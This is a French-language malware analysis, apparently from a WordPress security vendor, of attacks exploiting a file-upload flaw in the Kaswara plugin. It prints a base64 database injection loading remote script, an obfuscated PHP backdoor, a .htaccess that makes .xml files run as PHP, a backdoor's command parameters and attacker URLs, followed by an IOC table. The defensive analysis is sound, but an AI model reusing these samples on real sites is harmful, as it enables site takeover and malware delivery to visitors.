Vulnérable Kaswara Modern WPBakery Page Builder Addons Plugin exploité à l'état sauvage
Publié: 2021-06-08De retour le 20 avril 2021, nos amis de WPScan ont signalé une grave vulnérabilité sur Kaswara Modern VC Addons, également connu sous le nom de Kaswara Modern WPBakery Page Builder Addons. Il n'est plus disponible chez Codecanyon/Envato, ce qui signifie que si vous l'avez en cours d'exécution, vous devez choisir une alternative.
Cette vulnérabilité permet aux utilisateurs non authentifiés de télécharger des fichiers arbitraires dans le répertoire d'icônes du plugin (./wp-content/uploads/kaswara/icons). Il s'agit du premier indicateur de compromis (IOC) que nos amis de WPScan ont partagé avec nous dans leur rapport.
La possibilité de télécharger des fichiers arbitraires sur un site Web donne au mauvais acteur un contrôle total sur le site, ce qui rend difficile la définition de la charge utile finale de cette infection ; ainsi, nous vous montrerons tout ce que nous avons trouvé jusqu'à présent (nous nous sommes un peu emportés dans la recherche, alors n'hésitez pas à passer à la section IOC si vous ne voulez pas lire jusqu'au bout).
Injection de base de données, fausses applications Android et autres portes dérobées
Merci à notre ami Denis Sinegubko de Sucuri pour avoir signalé le suivi d'injection de base de données utilisé avec cette attaque.
Les acteurs malveillants mettraient à jour l'option 'kaswara-customJS' pour ajouter un extrait malveillant arbitraire de code Javascript. Voici un exemple que nous avons trouvé :
INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');
Cette chaîne encodée en base64 se traduit par :
var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);
Et comme cela se produit généralement avec ce type de script, il chargera en chaîne une série d'autres extraits de code Javascript, et la charge utile finale sera soit une publicité malveillante, soit un kit d'exploitation. Ceci est très similaire à ce que Wordfence a rapporté ici.
Dans ce cas, le script est en train de mourir sur hxxp://double-clickd[.]com/ et ne charge aucun mauvais contenu. J'ai trouvé du Javascript suspect appelant ce site depuis début 2020 et les gens le bloquent déjà depuis 2018.
Fausses applications téléchargées sur le site
Les 40 applications Android trouvées sur les sites Web que nous avons examinés étaient de fausses versions de différentes applications, comme AliPay, PayPal, Correos, DHL et bien d'autres, qui ont heureusement été détectées par les fournisseurs d'antivirus les plus populaires selon cette analyse VirusTotal.

Je n'ai pas vérifié les intentions de l'application, mais un examen rapide des autorisations qu'elle demande peut nous donner un aperçu de ce qu'elle pourrait faire :
- android.permission.WRITE_SMS
- android.permission.RECEIVE_SMS
- android.permission.FOREGROUND_SERVICE
- android.permission.KILL_BACKGROUND_PROCESSES
- android.permission.READ_CONTACTS
- android.permission.READ_PHONE_STATE
- android.permission.READ_SMS
- android.permission.ACCESS_NETWORK_STATE
- android.permission.QUERY_ALL_PACKAGES
- android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
- android.permission.INTERNET
- android.permission.SEND_SMS
- android.permission.CALL_PHONE
- android.permission.WAKE_LOCK
- android.permission.REQUEST_DELETE_PACKAGES
Cependant, ces fichiers ne sont pas immédiatement téléchargés à l'aide de l'exploit Kaswara. Une fois le site compromis, les attaquants téléchargent d'abord d'autres outils pour contrôler entièrement le site.
Fichiers téléchargés
Certaines portes dérobées et autres logiciels malveillants ont également été trouvés sur des sites Web compromis par cette vulnérabilité. Je vais partager une analyse rapide des plus populaires et des plus intéressantes dans cet article. Cependant, je veux d'abord me concentrer sur le plus complexe.
Rediriger et fausses applications
Les fausses applications que j'ai trouvées sur plusieurs sites compromis n'ont pas été téléchargées en exploitant la vulnérabilité Kaswara. Ils sont téléchargés sur le site à l'aide d'un hacktool multifonction, qui permet à l'attaquant de télécharger du code à distance (en fournissant une URL ou une chaîne) et de rediriger l'utilisateur vers un site malveillant.
Le fichier peut être facilement identifié par la présence de cette chaîne : base64_decode('MTIz');error_reporting(0);
une fonction
Chose intéressante, il randomise tout le reste sauf cela.
Le malware est sur une seule ligne, ce qui est aussi un IOC intéressant si vous recherchez ce type d'anomalie de code.

Pour faciliter la compréhension, j'ai décodé la plupart des parties du code, renommé les fonctions intéressantes et embelli le code. Le malware inclut 6 fonctions différentes, et 5 d'entre elles sont basées sur les valeurs passées sur la $_GET['ts']
. Pour ce document, considérons l'une des nombreuses instances que j'ai trouvées : c.php
.

/c.php?ts=kt
Cela ne fait rien et forcera le site à renvoyer une erreur 500 (plus tard sur le code).
/c.php?ts=1
Modifie la valeur de l' $q1a
en true pour effectuer une validation de code et envoyer un message OK à l'attaquant.
Dans ce cas, le site distant répond : {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”Code”&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef
Écrit un fichier sur le serveur avec le code fourni par le contenu de $_GET["v"]
tant que $_GET["p"]
est la somme de contrôle SHA1 de 123 (rappelez-vous que le premier IOC de base64_decode('MTIz')
? est cette somme de contrôle).

/c.php?ts=tt
Écrit 5 Mo de "-" sur le serveur, probablement utilisé pour tester si la fonction de téléchargement fonctionnera sur le serveur.

/c.php?ts=dwm&h=HASH1,HASH2
Lorsque le logiciel malveillant reçoit cette demande, il effectue un test pour vérifier si les fichiers téléchargés ont été correctement écrits sur le serveur. Leurs hachages MD5 doivent être connus et sont envoyés à $_GET['h']
sous forme de valeurs séparées par des virgules.

/c.php?ts=dw&h=hash&l=URLs_as_CSV
Télécharge un fichier à partir d'une série de sites Web tiers et l'enregistre sur le serveur en le nommant d'après les 12 derniers caractères du md5 du fichier téléchargé.
C'est la fonction utilisée pour télécharger de fausses applications sur le serveur.
Voici un exemple de demande de téléchargement de fichiers malveillants /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Rediriger l'accès
Si l'option kt
ou aucune option n'a été sélectionnée, le code procède à la redirection, qui est réalisée en demandant un blob JSON avec les données nécessaires. Il procède ensuite à la redirection du visiteur à l'aide de la fonction d'en-tête.

La réponse ressemble à ceci : {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}
La fonction pour exécuter une requête cURL avec les paramètres nécessaires est celle-ci : Rien d'extraordinaire…
Et cela peut être traduit en cette requête cURL :
curl -X POST hxxp://papass[.]ru/click_api/v3 \
-H 'X-Forwarded-For: 200.171.221.1' \
-H 'Accept-Language: *' \
-H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
-d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'
L'URL finale est, pour autant que j'ai pu tester, aléatoire, mais partage la même caractéristique d'être une fausse page pour un service ou une application populaire.

wp-content/uploads/kaswara/icons/16/javas.xml et wp-content/uploads/kaswara/icons/16/.htaccess
Un fichier XML n'est généralement pas marqué comme une menace potentielle, mais dans ce cas, nous avons un fichier .htaccess spécialement conçu qui modifie la façon dont le serveur Web le voit :
Order Deny,Allow
Allow from all
<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
AddHandler application/x-httpd-php .xml .pdf
AddType application/x-httpd-php .xml .pdf
# ---
SetHandler application/x-httpd-php
ForceType application/x-httpd-php
# ---
php_value engine 1
# ---
Order Deny,Allow
Allow from all
</FilesMatch>
En fait, il indique à Apache de comprendre tous les fichiers javas, home ou menus avec xml, php ou pdf comme un fichier PHP à traiter en conséquence et à exécuter. Ainsi, n'importe lequel de ces fichiers présents dans la même structure de répertoires que ce .htaccess sera suspect.

Le fichier javas.xml est identique à certains autres fichiers malveillants téléchargés sur le site. J'ai trouvé que la différence est que certains ont une ou deux lignes vides à la fin du fichier, ce qui rend le hachage traditionnel un peu plus délicat.
<?php
$LnWYZK ="\163"."\164" ."\162\137\162\157" . "\164" . ( 279 - 266) ; if( !empty ( $ { $LnWYZK
("\137" . "\103\102\106" . "\107")} ) ) { $nNZph =$LnWYZK ( "\172". "\161". (4334
-4329 ) ) ; $ouQLkV = $LnWYZK ( "\157\156" . "\146" . "\162" . ( 9680 - 9616) . "\137"
. "\161" . "\162\160\142\161\162" ) ; $VNfzSD =$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"
. "\147\166\142\141" ); foreach ($ { $LnWYZK( "\137". "\103" . "\102" . "\106" . "\107"
) } as $IKRDzf => $NIvHUr )( $nNZph ( $IKRDzf ) === "c" . (2668 - 2626 ) .
"\145\141" ."\71" . "\67" ."\71\145\144" . "\71\70\62" . "\143\60" . (314406 -51163 ) . "\60"
. "\145" . "\71" . "\145" . "\71" . "\70" . "\141" . "\66" . "\66" . "\144" . ( 9786 -
9780 ) && $QZCMY = $VNfzSD( "" , $ouQLkV ( $NIvHUr) ) ) ?$QZCMY () : " "
; }
Le code malveillant est masqué à l'aide de chaînes encodées str_rot13 et base64. Il utilise également des valeurs hexadécimales et des opérations mathématiques pour masquer un peu plus les chaînes. La charge utile finale est inconnue car elle créera une fonction basée sur les valeurs d'une requête POST. Cependant, la charge utile semble être la même à chaque fois car elle repose sur une vérification md5 avant de la créer (c42ea979ed982c02632430e9e98a66d6 est le hachage md5).
Conclusion
Comme il s'agit d'une campagne active, au moment de la rédaction de cet article, nous constatons que de plus en plus d'exemples de logiciels malveillants différents sont déposés sur les sites concernés. Certains ne sont que des variations de ce que nous avons ici, tandis que d'autres sont suffisamment intéressants pour une analyse plus approfondie. Recherchez des messages plus petits à venir pour explorer certains de ces autres exemples.
Cela illustre l'importance d'avoir vos extensions mises à jour avec les derniers correctifs de sécurité ; si les développeurs ne publient pas les correctifs en temps opportun ou s'ils sont supprimés du référentiel WordPress.org (ou d'autres marchés), nous vous recommandons fortement de trouver une alternative plus sûre.
Si vous êtes préoccupé par les logiciels malveillants et la vulnérabilité de votre site, consultez les fonctionnalités de sécurité de Jetpack. Jetpack Security fournit une sécurité de site WordPress complète et facile à utiliser, y compris des sauvegardes, une analyse des logiciels malveillants et une protection anti-spam.
Indicateurs de compromis
Vous trouverez ici la liste complète de tous les IOC que nous avons identifiés :
Hachage (SHA-1) | Chemin | Description de la menace |
754ee56344b190a7240732eabd43ef8f2e8bace9 | ./2f31eab3b335 | Fausse application Android |
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 | ./28052809bdd7 | Fausse application Android |
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd | ./ce52e434cded | Fausse application Android |
b354b2193e13956747cf3cf1268caaa9ae9601a0 | ./c016456e66cd | Fausse application Android |
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 | ./5d64d12229cf | Fausse application Android |
886ce65890fb467f8843ba4de782cb65966ef801 | ./47e3bdf4ac71 | Fausse application Android |
e2314e2de6e12aa6a600fbc538d75c37b7651b7b | ./026ec4ebebfe | Fausse application Android |
970a29c4322e70ac820f181ff64e9089b6ce69ca | ./5610ec2e788c | Fausse application Android |
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 | ./9be9954a7c0a | Fausse application Android |
423d83a87a3833440f6b810967795876b83b7a90 | ./34b0ea9d688e | Fausse application Android |
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 | ./7986aa5f641b | Fausse application Android |
f1a3f3ffa13a98e75da208aa151910052a2893f6 | ./648cabbe0afa | Fausse application Android |
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 | ./20f9849711cc | Fausse application Android |
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 | ./75002db259ea | Fausse application Android |
8a2cb8808b11c7d24a5111501aed3e4494e4b292 | ./0c7e4e6a39eb | Fausse application Android |
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 | ./7237cd011f42 | Fausse application Android |
f210df00ee1978fc3eda3bc5759d2f7627950c20 | ./3186fb436dae | Fausse application Android |
b9c2dc421010fb1f273ae40f176da4854830e6b8 | ./04d2e95f9573 | Fausse application Android |
8484f4bcba9a8ad5f2a451ee8a541929d80400cc | ./34b67b93da5e | Fausse application Android |
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 | ./502ba128d12c | Fausse application Android |
eb41990973aa178d156a83050d34ad9831f66567 | ./2501a5736f6e | Fausse application Android |
814178f5442be9e748769d61342e33b66ae119f6 | ./ddb83c37197f | Fausse application Android |
edc53993d4f37286985374f6ebbe29815c42b61c | ./2e0ed75c116b | Fausse application Android |
6c014dca61b1cd3e6981a731808317d7e931fc94 | ./5f6ec9795436 | Fausse application Android |
295d49d596b5d062de7d52548ded91284b67ef6a | ./7ed8c17a7cd7 | Fausse application Android |
c83b20deb16bb1d47a6137b99b7230d707b2a1dc | ./4b30e0221c16 | Fausse application Android |
6c709124972f6506bd7562ebe4b2567e7dfb7b75 | ./0faa25f73e3c | Fausse application Android |
816a5ad37b5e1bf7e069969f10f0af41d4ba492f | ./a64122f493dc | Fausse application Android |
a04651dd95f74a074150bcfe7f6535b0542c8f63 | ./3980315c7daa | Fausse application Android |
9d9c89268e5158f93b3b0accb387314133d5e719 | ./da15f8061ab2 | Fausse application Android |
ce8dfe115d9546197d57c9cc9f93abb513aadf4a | ./715b3f4ed70d | Fausse application Android |
2b61271653b8bd82016ce743cabca8c48444f2c8 | ./f8c2f1514938 | Fausse application Android |
1d8f259a424c2f7b6441b7ab568623ef762a5325 | ./ea40ee4cea57 | Fausse application Android |
21f070e33da3a574526817eede699798e59971c1 | ./73b6daad56b6 | Fausse application Android |
de364006dc140251a90adf8ddfd23b00d4c494c5 | ./a70ce1c2d003 | Fausse application Android |
1c0bd522cb786e8697bb907f8771c66d991d672c | ./4c63cfe07251 | Fausse application Android |
a36c3667be58efa50441418b58b5487d873b5d63 | ./067fd1c69444 | Fausse application Android |
8c21c99670e9158f12ac88feba2e87aaa93b41f0 | ./57fd16f4719d | Fausse application Android |
31285841768b43a5973b268df2a761055f25b25f | ./14834dab2dd7 | Fausse application Android |
d3ee06b4c26f7c59b6248f50c8d272e002180d7a | ./28b655b495a9 | Fausse application Android |
8639df09b4ec97c084ed2be1a914b540eb8ab29e | ./c.php | Logiciels malveillants abandonnés |
95217d8c55b9a83aea2e7d030388daba1e49e27e | ./medovq.php | Logiciels malveillants abandonnés |
2831ea2f80e71f07c408133986cca2558106b9fc | /wp-content/uploads/kaswara/icons/kntl/img.php | Téléchargeur de fichiers PHP |
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 | wp-content/uploads/kaswara/icons/kntl/cc.php | Logiciels malveillants abandonnés |
da39a3ee5e6b4b0d3255bfef95601890afd80709 | wp-content/uploads/kaswara/icons/16/icons.php | Logiciels malveillants d'exécution de code à distance |
d51366d5062e7fd4d1422a59e75b585053643549 | wp-content/uploads/kaswara/icons/brt/t.php | Logiciels malveillants abandonnés |
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 | ./wp-content/siteindex.php | Logiciels malveillants abandonnés |
7464d78fd5022a54203c2c63b80096ce96932422 | ./wp-content/uploads/kaswara/fonts_icon/test2/index.php | Logiciels malveillants abandonnés |
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 | ./wp-content/uploads/kaswara/fonts_icon/test3/index.php | Logiciels malveillants abandonnés |
486ea7a58e28d9f112eb566711d0d8b594f6b238 | ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip | Logiciels malveillants abandonnés |
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 | ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip | Logiciels malveillants abandonnés |
5dd9180835cfbc85e56f25a71977a6fc6a256b35 | ./wp-content/themes/admindex.php | Logiciels malveillants abandonnés |
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc | ./wp-booking.php | Logiciels malveillants abandonnés |
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 | ./icons/icons.php | Logiciels malveillants d'exécution de code à distance |
f7c7fc098575895d9e27b04108ee481b84285aaf | ./icons/yrecyt.php | Logiciels malveillants abandonnés |
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 | ./xeh02b.php ou ./wp-content/uploads/xeh02b.php | Logiciels malveillants abandonnés |
64e1b82b8e1fae20fa846b0003c877bc454c00b8 | ./icons/pewegy.php | Logiciels malveillants abandonnés |
1926459cbe6f3fae524d5c1aa966a023b9def873 | ./icons/icons.php | Logiciels malveillants d'exécution de code à distance |
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 | ./wp-craft/scr.php | Logiciels malveillants abandonnés |
wp-content/uploads/kaswara/icons/16/javas.xml | Logiciels malveillants d'exécution de code à distance | |
– | smurfetta.ru | Domaine malveillant |
http://papass.ru | Domaine malveillant |